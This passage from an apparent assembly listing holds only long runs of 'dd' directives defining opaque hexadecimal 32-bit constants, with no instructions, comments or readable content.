0D52D37B9h, 6A0FFD7h, 5BF12363h dd 5397C84Ah, 3385CA2h, 93105F1Dh, 18D9492Dh, 0B46D88BFh dd 0D468052Ah, 0F4B1DCD0h, 55C63381h, 0BABB752h, 494D86CAh dd 0A7D9D7F0h, 2C7BC20h, 6BC3A67Bh, 0FC2CAC66h, 0AAB9ADCBh dd 983129B9h, 1CEEFD8Ch, 89E3BC8Bh, 81259796h, 64FD28C5h dd 60734682h, 711A8EB7h, 0FE681575h, 0AAECDC75h, 3DE00C06h dd 4371015Dh, 0DD88EBEEh, 0C71BC2Fh, 0AF63B16Bh, 0F3ABFB8h dd 0F102550Dh, 0AFE0B651h, 3B86FB42h, 0C084470h, 48136688h dd 0A4EFE709h, 608C45E9h, 0AD03EC55h, 73A917F2h, 0CBDD52B0h dd 7697B69h, 0A1825238h, 0BBEAC620h, 0AE235C2Fh, 4E2BAD09h dd 0C4CF9470h, 0A9B821DBh, 0EBD04F36h, 0D816457h, 5E8FE3Ah dd 0FBB90923h, 5C907554h, 95FA0C88h, 3EA3D62Ch, 0B86D2184h dd 0A0BA2469h, 0CF721A4Eh, 0B7C5D874h, 276982C5h, 0D26F0E4Eh dd 4C45641Dh, 0D5F94406h, 0F08E556Fh, 0CEFC504Dh, 8CCD58FDh dd 0DAD6BD77h, 20A3772Fh, 444BBEA9h, 5EDD82AFh, 0D7987A66h dd 523820Eh, 593718EFh, 0CA1A5126h, 2DD2784Eh, 820F79E2h dd 5CD41B9h, 26AD86C5h, 7AB66FA9h, 0C60A7B8Ah, 8A2FB28Fh dd 571FBC3Fh, 1C0E3592h, 8D31FC56h, 42D59B76h, 198847BFh dd 73E31540h, 533E541Dh, 5C3CC95Ch, 0BE9D0DBCh, 8B478D75h dd 45E6ED95h, 44E20BE3h, 22FDBFB0h, 5FF619A8h, 0E531D3D2h dd 0C5612280h, 495A4460h, 0D7D5835Ah, 0E6DA8329h, 0BDF5CB8Ah dd 0E45B653Fh, 2C2B7143h, 16ED6EC7h, 42410C6Dh, 341A3C81h dd 35F647D8h, 86186FFh, 7AF2E14Eh, 6D13ACB9h, 0C76A7D42h dd 512329C9h, 8C3E47F9h, 67140B33h, 8978A271h, 0EBD181B1h dd 0F79577D7h, 2B5F4D6Dh, 0B5A1C660h, 7CCC1016h, 15D17626h dd 0F60E4D33h, 0ECB7F28Fh, 33793B27h, 9E003EFh, 0C54C52FFh dd 61B4B244h, 35605489h, 96573FA0h, 114D7DBBh, 198723F8h dd 7405A63Bh, 22145FB4h dd 9B21BBFDh, 0DB7BECC3h, 0D6E0B1DDh, 88AA8EB0h, 3A6BB536h dd 14624C25h, 620C3CE7h, 0C11D1363h, 0BB6C798Fh, 22738F13h dd 1E703744h, 77B956F3h, 2709E1E6h, 6F35B301h, 0A34983E7h dd 1897E562h, 0CC1D8F8Fh, 0EC54B47Eh, 0FE58D96Ch, 1876DAF7h dd 0FBE398CFh, 4D301136h, 41D73921h, 0D827F09h, 3B7C6D28h dd 0B794697Bh, 329FA961h, 45505A3Dh, 0B45F7872h, 0B41F9AE3h dd 7C700D7Fh, 95C434C5h, 146AF862h, 9359EBE4h, 4E63BAFEh dd 307C6DA3h, 4C6DA03Ah, 0CEFD53Fh, 95F3CE01h, 8C97EDB5h dd 73B54EDBh, 0BE642686h, 0AE4CB444h, 20C62C16h, 0BE8DF7A5h dd 0F77B6747h, 326E77A8h, 0DCB3F2CFh, 0A03C7F4Bh, 0B7F374A4h dd 9D47FED0h, 3A33122Fh, 0DC08FC2Ch, 27557B14h, 692AACCFh dd 44F13293h, 7F50DFB6h, 0B60B5707h, 0FF0C5F2h, 5EC5F8DEh dd 72F33FC0h, 94A00E64h, 25058323h, 0CEE08F79h, 0B1AEDD2Bh dd 0AFAC36DAh, 420BD561h, 0DC8DEAFFh, 2BA361E1h, 8C4E8062h dd 0FB60BDD3h, 0EA78F6F2h, 25F800BBh, 0E4B1271Bh, 0D39DB3A2h dd 7A933A57h, 0FEFBCECCh, 0B337EFEAh, 981CC448h, 16D74161h dd 0D27B37F7h, 2984E284h, 518971A7h, 44C0E341h, 135F6E84h dd 4C49D82Eh, 0E7F0C1A2h, 4208160Bh, 0EF21B22Fh, 772D966Eh dd 49E048A0h, 89FF8F6Dh, 3628C48Bh, 0D431654Fh, 0FF65CE87h dd 72F6EF29h, 8E5F89F5h, 74242004h, 18162801h, 0CED40063h dd 4F9523B1h, 3E5AE3FEh, 2F0144BDh, 4FF4AD68h, 0F0EE0C06h dd 32421721h, 0C4C86F60h, 0EB75E607h, 0DFD5C02Dh, 0D642211Ch dd 5B6149Ch, 0FE588462h, 4D6B661h, 0AE3629B5h, 4314BDCFh dd 0F3ACFE4Bh, 0BEA86CFBh, 0B1C28968h, 8AF036F3h, 0D6269117h dd 915B76BCh, 5AF91747h, 0E575D906h, 0CE3004C9h, 9A89FED2h dd 0A6554B3Bh, 0B27E3571h, 0E8104522h, 511176DBh, 0F0CD64D4h dd 0EC06D2A4h, 35A0130Bh, 0DECD1650h, 0CB4AF9Ch, 0B93C272Bh dd 663578A1h, 6D74BC20h, 445F0F70h, 39924649h, 3B6ED0A9h dd 437EC125h, 173CA1A4h, 66D9AF5Dh, 0B5C7A222h, 3AF5556Eh dd 91C49B72h, 20A21BDFh, 6D06AF2h, 1C78890Bh, 11454572h dd 2E6032A4h, 0ED65AFC5h, 0FD72AAF0h, 6E268F9Dh, 0D30C7439h dd 7313C278h, 0DE9200F2h, 0BB68F308h, 0EBDABB5Dh, 41C66FCCh dd 2B3137DCh, 0F5C4F596h, 1DC7C717h, 0CD1FEB6Ah, 0D2163109h dd 41DF27D7h, 0DEB82D6Ch, 8B0C3D95h, 9BBAB946h, 0BB98559h dd 570331B2h, 80920DE8h, 36523AF7h, 0F4393EE3h, 726B778Ah dd 39643BDDh, 621DB748h, 1C401AF7h, 0B0F7449Fh, 0D2F33D55h dd 2563AE6Eh, 0E057F411h, 0CA13CF52h, 0C8D3748Ch, 0B7A9D831h dd 9A1BF628h, 0A4398B29h, 8CFC0F0Eh, 0A214FAC1h, 462B95B1h dd 0F5E5DA60h, 0EEED6130h, 512DBE32h, 0ECDF0FC8h, 0BE02D3F2h dd 0D92BF7ADh, 46C95378h, 0A3E3B840h, 69C7FF8Eh, 0D118D869h dd 889C8029h, 0D158CF43h, 0BC3E5B6Dh, 7465037Dh, 0C443B2DBh dd 0FE4AFC02h, 1CD87218h, 6DA52998h, 946B3256h, 96F0BAFDh dd 0DA878093h, 3399B176h, 4518256Ah, 235051AFh, 3E71F624h dd 0EB24145Fh, 7A31810Eh, 0BBBB99CAh, 906F887Ah, 0FBE34D1Dh dd 0D242D121h, 0C6836D81h, 2DAD7F8Dh, 0D3D8B2F2h, 6854D3ADh dd 0AF41C8DDh, 4280A4DEh, 495E63A9h, 331A5884h, 8F75D0Eh dd 521428B3h, 0B0BA0C2h, 8EE120DCh, 0D180D797h, 46666AA1h dd 0FB0CDA26h, 1B1A03B2h, 4D3EE576h, 674D0DC5h, 7D28DD4Ch dd 30566F6Dh, 5A110E05h, 0A4F0D1FAh, 369A4B10h, 0B01F9505h dd 773E7A41h, 8B856D35h, 34B29B32h, 0BC0DEF7Eh, 39DC0623h dd 0CBA53502h, 5BB6D96h, 0DD5C4A6Bh, 228B4060h, 4EDC7D1Ch dd 2D8402F2h, 1B4D5896h, 0B6B99AE8h, 0BE480B9Bh, 0D190D2ADh dd 0A2148BEAh, 0F096546Fh, 932A5D44h, 573202E3h, 984F3A4Ah dd 92945C5h, 14512934h, 87ED544Eh, 1335C672h, 0C8BB8FCDh dd 625EA0E2h, 854DCE4Ch, 0F36C40DBh, 3F886DE4h, 1320244Bh dd 47DC937Ah, 0AB1B37F6h, 0B3BA7A0Ah, 7D9D50BAh, 11DEB790h dd 7E35EEC6h, 67B971D9h, 991E1C1Dh, 96C4C13Dh, 0D7A17D24h dd 3E7B5D9Eh, 0CEAC7E4Ch, 0BA3B5BC4h, 215437AAh, 0D59F8172h dd 96DDD43Fh, 1DC0DC0Eh, 14C03304h, 0F124B82Bh, 782AAA65h dd 0BAFF8AEBh, 0F138C6Eh, 709100BFh, 8B9C8857h, 7A676A09h dd 7F2CCF91h, 92675A7Ah, 0B78764B8h, 751200A6h, 2EFC46DAh dd 0DF3DF457h, 33062F1Eh, 6FBD15Ah, 84D8A5F3h, 8F1A8270h dd 0AF32B807h, 0EF7DEF8h, 9510BBE8h, 0DB991CF6h, 6CBB2439h dd 63FCB18Dh, 68A0342Ah, 0A76F1B8Dh, 4335BB12h, 0F631C888h dd 66F59E9Bh, 0B0A8B7A1h, 0D5A60251h, 11BB3278h, 0B2C222B0h dd 7B2F6C47h, 1FA9F8BDh, 9C65A849h, 2547B4CEh, 6BBCB9E4h dd 0FE4DFD20h, 444627DAh, 0B2299203h, 0AE3D3834h, 0F260B03Ch dd 0FF21F0D6h, 0C1E9031Dh, 0C3658F0Dh, 7754A43Bh, 9E959DCh dd 89B69603h, 0FE1C023Eh, 9048A1FEh, 9B73235Ch, 0AE19A51h dd 0D4097D1Fh, 8C9227D1h, 3DC1967Dh, 0BA9E95Fh, 0EE381BBAh dd 5A79BAADh, 0EB784328h, 0E7305654h, 23DEC96Ah, 9131FCDDh dd 5AB23B3Ch, 2D658B55h, 7571D981h, 6FD25B7Ah, 755C1FC6h dd 95907FAh, 73C762ECh, 0C550D668h, 0B2097896h, 6F81C6C7h dd 58A16406h, 42079616h, 5A7ED20Dh, 0A1DB8503h, 850F8C0Dh dd 0D4102380h, 1A9B621Ah, 9B4F6D26h, 865EC163h, 0A55E2813h dd 8B00C82Fh, 772B62D0h, 6FACA711h, 0CDEE8D64h, 1D957537h dd 39673EC9h, 0A9B8356Fh, 3EB8A62Eh, 47307863h, 30CC87DEh dd 0B0945F0Bh, 0A1CD514Ah, 4E4278BCh, 0D709971Ch, 28994C16h dd 56867A03h, 0F2029156h, 21054CB3h, 3D6ECDC9h, 8F02E1C0h dd 2F8F70Fh, 571B9F49h, 56ECC4A8h, 0ADFC5F52h, 88F03BBEh dd 5CE3144h, 0A36878B0h, 2B0A5F8Dh, 83400AB8h, 0ECA1A7E1h dd 1A4E1B1Fh, 0E01276C4h, 0CF31DAC5h, 0D9CCB8D8h, 753D5BF5h dd 58EE581Dh, 314378CAh, 0E1C384C1h, 3A50BC02h, 4FDDEC2Dh dd 2CEA5EDDh, 27248B5Fh, 75608C9Ch, 821843C8h, 95725FECh dd 29F91C4Eh, 0FE43484Ch, 0CA00E32Ch, 0A7A716F9h, 9073CE69h dd 80627F4Ch, 1F66E217h, 2DF60E7Dh, 5821F741h, 288232A9h dd 0B7F84262h, 0CC55F97Eh, 27776720h, 499691BFh, 2F21D69Ch dd 10E1A9F4h, 0EA88DE0Fh, 6C60DB1Ah, 41977A5Eh, 0B5403E21h dd 347B9CF6h, 861DDE01h, 4B7A151Ch, 0BC4D161Bh, 18DCA73Eh dd 0F1093F37h, 731A84DBh, 0D2E355F8h, 182D9A8Eh, 0FAA241C8h dd 0EDD1126Dh, 40B47EBFh, 5A3434C4h, 0F1B28074h, 0BB81699Ch dd 0E4A2AF53h, 0ED684752h, 436FD549h, 70BDBD88h, 0D246C22Fh dd 5CCDCF42h, 0B074E3BAh, 0D9131F68h, 0AF138EF0h, 8E76D0DBh dd 17BC047Bh, 0DFC18767h, 0F0313226h, 66DDBB83h, 9678EF2Fh dd 1040A766h, 0FDDB3EC0h, 8D2B5179h, 0ACA97B20h, 29A82910h dd 0BBB9070Ch, 2E0857D4h, 4E55A672h, 0A910B2DBh, 241AF13h dd 0CD16F91h, 14CC8E01h, 0ADBEC7BCh, 3702B9F9h, 74A80DCh dd 0B78DC64Bh, 1A9D993Dh, 14B5BA1Eh, 5562DBFFh, 96DB345Dh dd 956144Ah, 15905420h, 0B0B939D8h, 0D68BAA77h, 1F6D8301h dd 4274084Fh, 56E5CAC9h, 0FBB766FBh, 66105805h, 94DB2C06h dd 1CCB1F8Eh, 0E112951Bh, 30FD8F4Fh, 4F3174C5h, 0E9B68252h dd 3D1C148Dh, 550E8C3Eh, 6B9FCF64h, 8621DFF7h, 50000A10h dd 651D893Fh, 4AD46286h dd 490C386h, 0CECFC52Ah, 6E0F22EBh, 0EEECF002h, 0BBB01811h dd 0BA34CC06h, 0CB1B424Eh, 7EA196ADh, 0CA5E731Eh, 31E2FEE5h dd 8A6CB870h, 0C7AC4AC6h, 0E23A6395h, 5C255188h, 18F68FB8h dd 1DE2511Fh, 0C2E5C625h, 0E2B69ADh, 0B43997A4h, 0CBAF93ADh dd 2466A22h, 0E7D5CD32h, 3A8A1B51h, 943CBDE5h, 3C0CA0ECh dd 1EB3EA9h, 0CBA9C080h, 0B4A42CFEh, 8C841434h, 59ACD421h dd 32359A71h, 0F07AEAEAh, 0A0A02350h, 46F17270h, 16C7370Eh dd 333C4449h, 10FAFB13h, 9D059963h, 4134F4ECh, 0F42FDFh dd 0D60E994Eh, 58D525ECh, 0DB38B3BBh, 0ED79E6F1h, 762314BCh dd 745D2B8Ch, 30521912h, 0C6B40EBAh, 0B112562Dh, 0BB45726Bh dd 0EAC14EE3h, 0DAA34FE9h, 3016A5A8h, 8C09578Ch, 0B952E4AAh dd 0D36F514Fh, 7A25DEDh, 0F2CECB65h, 0D3673610h, 8ACD4FCCh dd 2ACB9749h, 0F7D7639Fh, 5A2D68B6h, 28906A06h, 53D7A84h dd 8DE2DADBh, 30EBAAC2h, 4DEBE21Ah, 0B383ABC6h, 21359494h dd 3466C378h, 23BBE0B0h, 14F4FF66h, 282DD423h, 0BC7EF6E6h dd 0B11A53Bh, 82835912h, 0A1DF9EF9h, 16ACEDFh, 8DBDE65Bh dd 229209F1h, 99E385B0h, 549231C3h, 34B58B7Ah, 3FEF2A09h dd 0C4F0FEB5h, 5DBD05F8h, 0EB3E9594h, 9ED480F7h, 4E95DE36h dd 6C42FAC1h, 23AACA2Eh, 0CCF73277h, 1A347CD8h, 0E350EA36h dd 87BACB08h, 387516F8h, 221A5501h, 97D96AD6h, 0D182C3EDh dd 11223F9Fh, 0CF3A94BBh, 301E0C4Bh, 4D75E54h, 0D2BDE84Bh dd 1AA2EFBBh, 0C1700EACh, 58E429FDh, 5CBA4FC1h, 0F6222D44h dd 7C1D6C70h, 210C6088h, 0D02D6364h, 6FE10772h, 9F75187h dd 9996E879h, 7A6FF9CFh, 31A5E37Ah, 23C4172Ah, 9AB1ACF7h dd 6EAD0C98h, 0F827E06Ch, 8FD60E08h, 3056103Bh, 3EABEEFCh dd 61623008h, 6B4433D6h, 319D9ECh, 0F91E61F0h, 320759FBh dd 0FCDEC43Dh, 48F5956h, 94195607h, 0F8EF56B7h, 201C19B5h dd 0AB7474D8h, 23C2C4C4h, 0A0E13A19h, 6A84747Ah, 9AB0E6B5h dd 650931C7h, 7B2BE318h, 487ACD6Ch, 0B4BCDC37h, 482FBC8Bh dd 4269A621h, 0B064A22Ch, 65E8C610h, 6F87B3D5h, 9C094A86h dd 49B7C967h, 9E8CB9F5h, 16D0773Bh, 0FC5D88E8h, 0E12F412Ah dd 8A402C97h, 34000C9Eh, 6A64CDDBh, 846869F2h, 0AD1D5169h dd 9957F472h, 9DA4BEA0h, 0E74B874Fh, 0F119D87Ch, 0E11E5FE1h dd 0B7402530h, 9B85AC32h, 1121AE09h, 0FAD67A7h, 8CC97C96h dd 0AD0E98Bh, 266A4DFDh, 0D827E735h, 0BFFCAFDEh, 1B38D806h dd 649E604Ch, 0DFCC5026h, 0F9E001B0h, 0AA50489Bh, 428B497Fh dd 0DE37EF13h, 0F44FF7C9h, 0D7F5F28Ah, 0B1D9DD7Dh, 4B303882h dd 0FAFEC51Eh, 0E938AD28h, 0EFDDA744h, 4D0BD564h, 6E81C4D0h dd 9BF9B641h, 53D625B9h, 0EC3477BDh, 0E9387FBh, 0D765CFE2h dd 2E8DB224h, 0C8A88186h, 799D6E96h, 0E7335AA2h, 0DD2226EEh dd 0ED6A8CF8h, 36A8C187h, 6902827Dh, 29596CD3h, 0B27269C9h dd 68B72AB1h, 244F9079h, 3D177567h, 493E36B3h, 3DA41A99h dd 0AD7B058Ah, 9C75B53Eh, 73E12D86h, 3DC60C93h, 1E324CF4h dd 7B152C91h, 0C4F4731Eh, 3D0A6A60h, 1DF7E4D0h, 0C6B95734h dd 3022BA1Fh, 0D38C7955h, 0BF29C759h, 574B381Ch, 0DC5C0740h dd 0D88645A5h, 393C2808h, 7C21931h, 0CC37D940h, 4041394Ah dd 33AB5458h, 0BA7FC77Dh, 6FD3812Eh, 0A951F8A0h, 0BAB81F0Eh dd 0CB603245h, 0DFD586B2h, 40EA2E45h, 0A469034Eh, 9889FD05h dd 6CE0702Dh, 16CAE08h, 0FFE0AF20h, 0EF9255F9h, 6859499Bh dd 0FA99C0E2h, 0B1A512ACh, 0ECB41EDEh, 0ED81683h, 40C055BBh dd 0B4A40C47h, 34CDDF72h, 0BFA6DE12h, 0F653CF45h, 4EA16B31h dd 458AF79h, 637D1F53h, 5605CF5Eh, 67EA7E77h, 0D2CF1C70h dd 29F4A320h, 0B0A31DC7h, 159670D0h, 7A086AD6h, 7C175A02h dd 9DDA5F06h, 9304C89Eh, 723B7609h, 5DD8EE76h, 0BAE55C6Ch dd 0D9DD1A8Dh, 0E4F449F9h, 36167D6Bh, 456274D6h, 2204FC0Dh dd 70B997C5h, 57A80C36h, 0CD50510Ch, 21DEA531h, 0BDD4FCF3h dd 0FF7AEE14h, 8D4E90A8h, 3A7E9CBFh, 5653E0ADh, 0BD17C150h dd 83F7F421h, 0A2EA13F9h, 715DBADFh, 2F322469h, 89F7ABF8h dd 24DD137h, 0D914B0B3h, 0FBF23B08h, 0B218A29h, 0C694887Ah dd 65C655B0h, 0C67BDAFh, 0C6188DC9h, 0E578693Bh, 0B4484AC4h dd 3A34FC98h, 3716F7Dh, 0CFE51E23h, 97EAA067h, 0A4B92689h dd 134F33DDh, 84AF2701h, 0FC834C5Ch, 34B70797h, 0E0C2E6CAh dd 77C2AA71h, 9A48C828h, 0A112D915h, 0D41891C1h, 0B595F696h dd 94DF7C35h, 16FE0164h, 9979869Fh, 5043439h, 90F59D62h dd 3568CD32h, 5477674Ah, 8F561E17h, 0E2DA9764h, 26DD7309h dd 7C4CAAD4h, 1ED54A2Dh, 7390A6F8h, 125FCEA4h, 585397BAh dd 3A5CFA0Ch, 2A2A0077h, 5917DBA3h, 0DD921E69h, 52DD189Dh dd 0E7403646h, 389DF0ABh, 8CDD8862h, 8C6D197Bh, 7CD71C6Dh dd 5E52C0D8h, 0C9545116h, 28FBD6BAh, 0D79B8834h, 3FF8C624h dd 664852C9h, 0D516143Eh, 5D834510h, 748AFD32h, 9C856E60h dd 1B6663DCh, 720CBADDh, 5E6F7B3h, 0D768F8h, 0EA9846C4h dd 44002B6Eh, 0F8FE41B9h, 987B92Bh, 0E18B0F7Ch, 0EEC1D619h dd 8F65CEB1h, 83272609h, 0CC784475h, 36C0C0A9h, 94BFF890h dd 3F73C576h, 0CF092B56h, 0BEB27FEFh, 29B24218h, 0F98A309Bh dd 7DCD6619h, 0D917AE36h, 0A006BF48h, 537B6F0Bh, 4040A5B0h dd 0C0FEC7DFh, 6B01F426h, 0CB51B97Ch, 0B63CB7E2h, 595CFD4Dh dd 4F86D110h, 122BAB86h, 5120ECC3h, 267782BCh, 0F4A14D8Bh dd 0ECF32EFDh, 0D9B92017h, 0D2201335h, 27D88001h, 0D6150E1Ch dd 0DF953FCDh, 0CE153D81h, 50A0384h, 1DDAF2CDh, 0B12828D7h dd 80D10CB6h, 49F4DFAFh, 62541A75h, 4285DD74h, 2BE242C1h dd 0DA690F9Fh, 57B7056Dh, 0FB4D5AA8h, 72E71E17h, 8EF5B7B6h dd 38533346h, 7141A04h, 61A203FDh, 64C7612Ah, 0E3B19BC9h dd 2690640Dh, 7B0C5735h, 2CAE93DBh, 8F8D3A1Ch, 10E0F4F9h dd 41E95A6Dh, 0AB224327h, 0D4D2BBDCh, 5832E6A3h, 8C8552C8h dd 1B05CAB6h, 0B183DBF8h, 431FA4BFh, 6109C407h, 0F678193h dd 0C391B140h, 25784A59h, 0D744362Dh, 9FBFE40Bh, 0BB716104h dd 14FA1B7h, 0DDBDBF76h, 3A324250h, 4ACF3221h, 0E1ED6609h dd 0AD53AE05h, 0B29B4017h, 95F76F0Eh, 1F06AA70h, 5BDDC7DFh dd 0F8665012h, 2850E902h, 30B98796h, 54F4504Eh, 5E8ED910h dd 139DFD8Fh, 0C4036C4Ah, 2647A316h, 24A04080h, 56F132C9h dd 0DEC850C7h, 0D2DCEA20h, 24D212F9h, 0D617E71Dh, 0DD653DEFh dd 0CE55DF2h, 0C8F401C8h, 0D6D6B2C8h, 770EE68Ah, 8D2F76Bh dd 0BE908C28h, 2455DD02h, 0FB547FBCh, 23F6847Dh, 0DD32A458h dd 5445CA69h, 6E6D169h, 187CC4B7h, 0FE911844h, 65C2FC5h dd 70B19E9h, 73FEF085h, 0D95425D5h, 0E7D75D42h, 2E551C9Dh dd 8F527478h, 84FB60DBh, 0AC964BC2h, 1F139570h, 0BF06F9DDh dd 8B235EA3h, 0C4A985Ah, 1637BBCh, 48340945h, 76F8BBCAh dd 9805403h, 431397C0h, 212927D9h, 0B46760A2h, 8395357Dh dd 8E74359Dh, 4C4C161Fh, 83EB6F08h, 0BEF88504h, 474BDC96h dd 0C0CE3434h, 7C399C76h, 415132A8h, 24A07AD7h, 4FC627D9h dd 0EE3401Dh, 28FAB70Eh, 9358AEF4h, 9464C672h, 0DB725897h dd 4927AA02h, 0F4F82E3Bh, 41D2A04Ah, 0DC6A48C2h, 0E795718Bh dd 0C89B02CFh, 0A4B0C916h dd 35477004h, 555720DFh, 0DEB43B02h, 0DC6A6030h, 0CCC88147h dd 0D62EEF4Eh, 0E60942DAh, 39E0EB05h, 150B5843h, 9DDA075Bh dd 7082E17Dh, 1C5E3FC3h, 0E2C5AAD9h, 294F4F49h, 25DE15DBh dd 10F6813Fh, 5195FA37h, 599D8C0Fh, 7B8315EBh, 0E236156Ah dd 48D16EA3h, 0F72D53B4h, 8F01C20h, 5D7A34CFh, 247967C2h dd 0E661BC8h, 7FB7BFD9h, 0AB219CFDh, 0A908E818h, 5C7A8BACh dd 0E8CF0DD6h, 0FFCFEEDDh, 0A86C5A2Bh, 88521C3Ah, 1BB3D3Ch dd 4CB76BF3h, 0FB8EAA52h, 35EBACCCh, 4302ACE2h, 65C3E5AEh dd 0F6047BAh, 4390107Ch, 244CE84Eh, 0F7442E67h, 0E6C3F76Ah dd 737168EBh, 0EC41A48Fh, 8FB0F9C8h, 82324D96h, 4A0FC731h dd 672D6659h, 0DD6E71F1h, 0D36B41E6h, 5AD47B14h, 17BAA784h dd 0B10C7DEh, 3A0029D1h, 1A4D6902h, 377515C7h, 25FA81B2h dd 63BC8399h, 0B937844Fh, 2E93007Ah, 0D553989Eh, 0E5006136h dd 8E8041A2h, 0EBDF88E4h, 5252D2E0h, 0DA23B19Ah, 0E7C6838Bh dd 9288A5E6h, 4DB00C79h, 99258A5Bh, 0CD1AD287h, 0E59BB236h dd 338FF4FFh, 52EF130Ah, 296BE674h, 6286AF51h, 0A31FCC8Bh dd 0E5281BB1h, 9DF43463h, 0EA88D62Fh, 761F8156h, 0FBF6DCEFh dd 0EA27141Fh, 0DAD70F36h, 0F43B0E29h, 8BA13950h, 69269281h dd 66D9330Dh, 9FB7B3C7h, 0E85444BDh, 748B8A4Ch, 679E22F8h dd 361EE361h, 0C4B7F8EBh, 5DD11D7h, 0D8223808h, 0BED75B87h dd 0FA8914Eh, 184C11E3h, 0FCA6B821h, 1FB827A7h, 2B9BF716h dd 0E4C097D6h, 0DBC02760h, 2E1D2530h, 8B5C6518h, 9AC8D8FEh dd 0AAE27798h, 8D07B2AAh, 0FCF373DEh, 9A34E179h, 0EE11FDCCh dd 833B9F35h, 23F3770Dh, 25F944FAh, 0C6696A9Ch, 33E62D94h dd 65FB8EA9h, 98C0F84h, 3552A71h, 748AD1E1h, 48EEF261h dd 0C8A77D4Bh, 0D51E32E2h, 782286E2h, 0FC5AE429h, 0CD251D66h dd 0F22D08EFh, 310C0E11h, 0EB3D7A24h, 0CB5DF576h, 0A642FB3Dh dd 0C01D686Ch, 2B23834Eh, 67D024E5h, 7162DC7Fh, 2337A241h dd 0ECA1406Fh, 0CBDD95FEh, 8C8140A6h, 354DBBECh, 2C4922Dh dd 27895115h, 16A44183h, 8CB111F4h, 1A7585B0h, 6DB03148h dd 1F4B87CAh, 0CC7B00B8h, 57574218h, 5CBA6B3Eh, 96826317h dd 5401EF61h, 0BCBA45B6h, 45D21418h, 8ABE439Ch, 0E7126947h dd 21AE2E27h, 0B307AFDFh, 2D713CDBh, 0CDA5762Fh, 84F05449h dd 4B0E3631h, 31068596h, 0E06306F9h, 7C93F57Ah, 264F88E5h dd 0CC288678h, 0A7A11134h, 0DBD4667h, 0B7FBBE8Ah, 0DA2C057h dd 343522B7h, 2B2B866Ch, 2A15DD84h, 24B75Ch, 96DBD18Ah dd 8B53A153h, 5705966Eh, 0B39CAA4Bh, 3E791B7Fh, 0E7A29D54h dd 0B77CCFADh, 84C40318h, 9B202C3Ah, 4DE66C24h, 1252635Fh dd 0C6F0BC58h, 0C5D73AE3h, 0FB0B0E23h, 62D571BEh, 6A2F71F4h dd 43AEE113h, 0C5083770h, 0F8F0A502h, 1B44D319h, 6DCCB4BBh dd 0C2C3D229h, 638D9117h, 0AD7F1906h, 564ACD5Fh, 0E9A4DB71h dd 351FDBD4h, 6D0745DCh, 0A2C599BAh, 981FD37Dh, 8D72B261h dd 98DBDC3Dh, 0A7F390AFh, 2E931C3Ah, 67C0837Fh, 0E7D2D865h dd 0EBD0AC33h, 0A6F01CE5h, 2C02F857h, 7A2EBEF8h, 0B4EAD0B6h dd 1D45D9Ch, 0E5EB6A29h, 0C49AB381h, 4A14A5C3h, 0D24B1A6Fh dd 0BC26A17h, 140DA12Eh, 0D3DF1DCh, 2897F562h, 0CFFFA838h dd 0DE9E4544h, 62C495Dh, 71D7CCEFh, 73FA6DBDh, 2A1C6AF1h dd 8F04FCC8h, 62F6DF0Eh, 96931F9Dh, 9EEB722Dh, 0B44F66Dh dd 8C9D47E1h, 0E678CFB6h, 991E5D22h, 0AF9CC8EDh, 50FF485Ch dd 317D8AD2h, 0DDFA27BBh, 229D6112h, 0C2F464B0h, 625F0532h dd 0F0F6EC50h, 0B23C323Eh, 198AC340h, 0EE086554h, 5DDA6526h dd 0D375891Bh, 25F164Bh, 0C5132676h, 3B3EC914h, 5C13C0DDh dd 0C7B424FBh, 4DF2B453h, 0F74FA711h, 43241C28h, 0AF8125Dh dd 0AED622F5h, 54C1595Ch, 0DBB4EDB8h, 7A0F1152h, 0C6A030B8h dd 0E69186DBh, 5B16EDDFh, 55ABAC92h, 2BE0E06Dh, 0AE49DC2Ch dd 972F6195h, 9CB1771Bh, 89E57614h, 4F885E25h, 1FBC05BAh dd 396206CFh, 0FB721872h, 4CFF7662h, 0BA52CD3Bh, 264EDFC6h dd 0F8D0ECC8h, 0C6F9F582h, 1164496Eh, 304DBFFEh, 0B1365460h dd 34523470h, 0FA812D98h, 2EE3B7A9h, 7CD2C738h, 0A313526Ch dd 3EE06AF9h, 3F229636h, 56CFDD74h, 0A01CDB67h, 0AE407AD7h dd 60851813h, 0B3DF2015h, 0EB9BE957h, 6875BA22h, 0F1956730h dd 53873EE5h, 0AF925F9Eh, 168FA0D2h, 0B61029Dh, 757EB23Dh dd 9E13022Ah, 0F54CE085h, 0D3EAC02Fh, 0A66E2302h, 0A4A4565Eh dd 0BB590CDBh, 0DC99A145h, 307C1EA5h, 8FB0AF7Dh, 0F6D5C929h dd 49D9540Eh, 0A10B2927h, 82319B6Bh, 62539018h, 9F63214Dh dd 8C1230F5h, 321E6767h, 0F63B708Eh, 0CB6DBA88h, 36F2365Bh dd 69B58E9Dh, 0EF913D79h, 0E62E4C00h, 45C408A8h, 6FBB45DCh dd 6C3326D1h, 0C45A03B4h, 951F7F44h, 891D9D9Ch, 0C70AE892h dd 1D2F1A9Bh, 48AD9BF1h, 1EC6AA16h, 8D045C98h, 1C44A71Ch dd 49EF283Bh, 0FF2995FFh, 0B2C914Fh, 0CE1A5288h, 81EA2276h dd 1AED5ECBh, 7CEC4C67h, 98574C77h, 0B3A03F7Ch, 0D6C1283Fh dd 3BEF8E09h, 999C1CB6h, 6A5A1CBAh, 96294B40h, 9E9C4E64h dd 0DC04C42Dh, 6EACF030h, 345495C1h, 57256077h, 0CBB564F9h dd 64A9AB9Ah, 5189D324h, 0D3F3EAABh, 0A936B891h, 8D7AEB30h dd 0CB59862Eh, 0FA5E059Ch, 75C75B9Dh, 5751F9DBh, 0A81F3EE4h dd 341E672Eh, 7D3C6C7Bh, 4A74974Dh, 0C12CA944h, 0FF5A41B0h dd 6B4DCFBAh, 0E7848304h, 578400B4h, 21201188h, 0A7594AE7h dd 0F306D594h, 0E5A03C6h, 0F8B3AC34h, 0F9AD27AAh, 34012D1Ah dd 68B0D695h, 6CDB0796h, 0F5A6FA9Eh, 52593E37h, 7D664616h dd 0BFCDD197h, 0AA0FB96Ah, 0EC185ED3h, 0A6A8C0C8h, 84DF7A8Fh dd 593922A1h, 1309DBA0h, 21363FE5h, 8027A038h, 4D0BDBC2h dd 8AB1BAB8h, 29080715h, 970F2503h, 0A025903h, 0E724B610h dd 992C6681h, 702CA019h, 6A260252h, 0C54DC0AAh, 0A89A382Ch dd 0AD25AC4Ah, 7E4727BEh, 0C29D7F66h, 805E1F1Eh, 0AADFB9C3h dd 15091D07h, 0CBA2CF72h, 0C3D0C6F5h, 16B54ACh, 5981D586h dd 0EF168C0Fh, 0AAD0FCC1h, 8AF3EE54h, 